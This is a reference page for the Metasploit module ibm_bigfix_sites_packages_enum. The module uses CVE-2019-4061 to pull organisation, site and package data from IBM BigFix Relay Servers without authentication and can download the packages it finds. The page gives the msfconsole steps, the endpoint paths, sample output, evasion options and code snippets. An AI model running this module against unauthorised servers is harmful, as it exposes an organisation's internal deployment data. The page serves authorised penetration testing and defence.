IBM BigFix Relay Server Sites and Package Enum - Metasploit


This page contains detailed information about how to use the auxiliary/gather/ibm_bigfix_sites_packages_enum metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: IBM BigFix Relay Server Sites and Package Enum
Module: auxiliary/gather/ibm_bigfix_sites_packages_enum
Source code: modules/auxiliary/gather/ibm_bigfix_sites_packages_enum.rb
Disclosure date: 2019-03-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 52311
List of CVEs: CVE-2019-4061

This module retrieves masthead, site, and available package information from IBM BigFix Relay Servers.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/ibm_bigfix_sites_packages_enum
msf auxiliary(ibm_bigfix_sites_packages_enum) > show targets
    ... a list of targets ...
msf auxiliary(ibm_bigfix_sites_packages_enum) > set TARGET target-id
msf auxiliary(ibm_bigfix_sites_packages_enum) > show options
    ... show and set options ...
msf auxiliary(ibm_bigfix_sites_packages_enum) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module performs unauthenticated requests to retrieve masthead, sites, and packages information from IBM BigFix Relay Servers. If the DOWNLOAD option is set then the module will attempt to download the identified packages. This module has been tested against Relay Server 9.5.10.79.

Vulnerable Application


BigFix Platform 9.2 - 9.2.16 and 9.5 - 9.5.11

Options


SHOW_MASTHEAD

Default: true. Read Organization name from /masthead/masthead.axfm

SHOW_PACKAGES

Default true. Read Action values and packages names from /cgi-bin/bfenterprise/BESMirrorRequest.exe

SHOW_SITES

Default true. Read Site URLs from /cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands

DOWNLOAD

Default true. Attempt to download identified packages.

ShowURL

Default false. Show full URL for the packages instead of the filename.

Verification Steps


  1. ./msfconsole -q
  2. use auxiliary/gather/ibm_bigfix_sites_packages_enum
  3. set rhosts <rhost>
  4. exploit

Scenarios


Relay Version 9.5.10.79

msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts 
rhosts => 
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit
[*] Running module against [IP]

[+] [Organization]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/actionsite
[+] http://[hostname]:52311/cgi-bin/bfenterprise/PostResults.exe

[*] Sites
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]

[*] Packages
[*] Action: [action number]
[+] File: [package name]
[*] Action: [action number]
[+] File: [package name]

[*] Auxiliary module execution completed
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) >

Go back to menu.

Msfconsole Usage


Here is how the gather/ibm_bigfix_sites_packages_enum auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/ibm_bigfix_sites_packages_enum

msf6 auxiliary(gather/ibm_bigfix_sites_packages_enum) > show info

       Name: IBM BigFix Relay Server Sites and Package Enum
     Module: auxiliary/gather/ibm_bigfix_sites_packages_enum
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-03-18

Provided by:
  HD Moore
  Chris Bellows
  Ryan Hanson
  Jacob Robles

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  DOWNLOAD       false            yes       Attempt to download packages
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT          52311            yes       The target port (TCP)
  SHOW_MASTHEAD  true             yes       Retrieve information from masthead file
  SHOW_PACKAGES  true             yes       Retrieve packages list
  SHOW_SITES     true             yes       Retrieve site listing
  SSL            true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI      /                yes       Path to the BigFix server
  VHOST                           no        HTTP server virtual host

Description:
  This module retrieves masthead, site, and available package 
  information from IBM BigFix Relay Servers.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-4061
  https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers

Module Options


This is a complete list of options available in the gather/ibm_bigfix_sites_packages_enum auxiliary module:

msf6 auxiliary(gather/ibm_bigfix_sites_packages_enum) > show options

Module options (auxiliary/gather/ibm_bigfix_sites_packages_enum):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   DOWNLOAD       false            yes       Attempt to download packages
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          52311            yes       The target port (TCP)
   SHOW_MASTHEAD  true             yes       Retrieve information from masthead file
   SHOW_PACKAGES  true             yes       Retrieve packages list
   SHOW_SITES     true             yes       Retrieve site listing
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path to the BigFix server
   VHOST                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/ibm_bigfix_sites_packages_enum auxiliary module:

msf6 auxiliary(gather/ibm_bigfix_sites_packages_enum) > show advanced

Module advanced options (auxiliary/gather/ibm_bigfix_sites_packages_enum):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowURL               false                                               yes       Show URL instead of filename
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/ibm_bigfix_sites_packages_enum module can do:

msf6 auxiliary(gather/ibm_bigfix_sites_packages_enum) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/ibm_bigfix_sites_packages_enum auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/ibm_bigfix_sites_packages_enum) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error


Here is a relevant code snippet related to the "Error" error message:

87:	
88:	    myhtml = res.get_html_document
89:	    myhtml.css('.indented p').each do |element|
90:	      element.children.each do |text|
91:	        if text.class == Nokogiri::XML::Text
92:	          next if text.text.start_with?('Error')
93:	
94:	          text.text =~ /^([^ ]+)/
95:	          case $1
96:	          when 'Action:'
97:	            # Save Action to associate URLs

Failed to download <VAL.FIRST>


Here is a relevant code snippet related to the "Failed to download <VAL.FIRST>" error message:

119:	      next unless res && res.code == 200
120:	
121:	      print_status("Downloading file #{val.first}")
122:	      res = send_req("bfmirror/downloads/#{action}/1")
123:	      unless res && res.code == 200
124:	        print_error("Failed to download #{val.first}")
125:	        next
126:	      end
127:	
128:	      myloot = store_loot('ibm.bigfix.package', File.extname(val.first), datastore['RHOST'], res.body, val.first)
129:	      print_good("Saved #{val.first} to #{myloot.to_s}")

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References


See Also


Check also the following modules related to this module:

Authors


  • HD Moore
  • Chris Bellows
  • Ryan Hanson
  • Jacob Robles

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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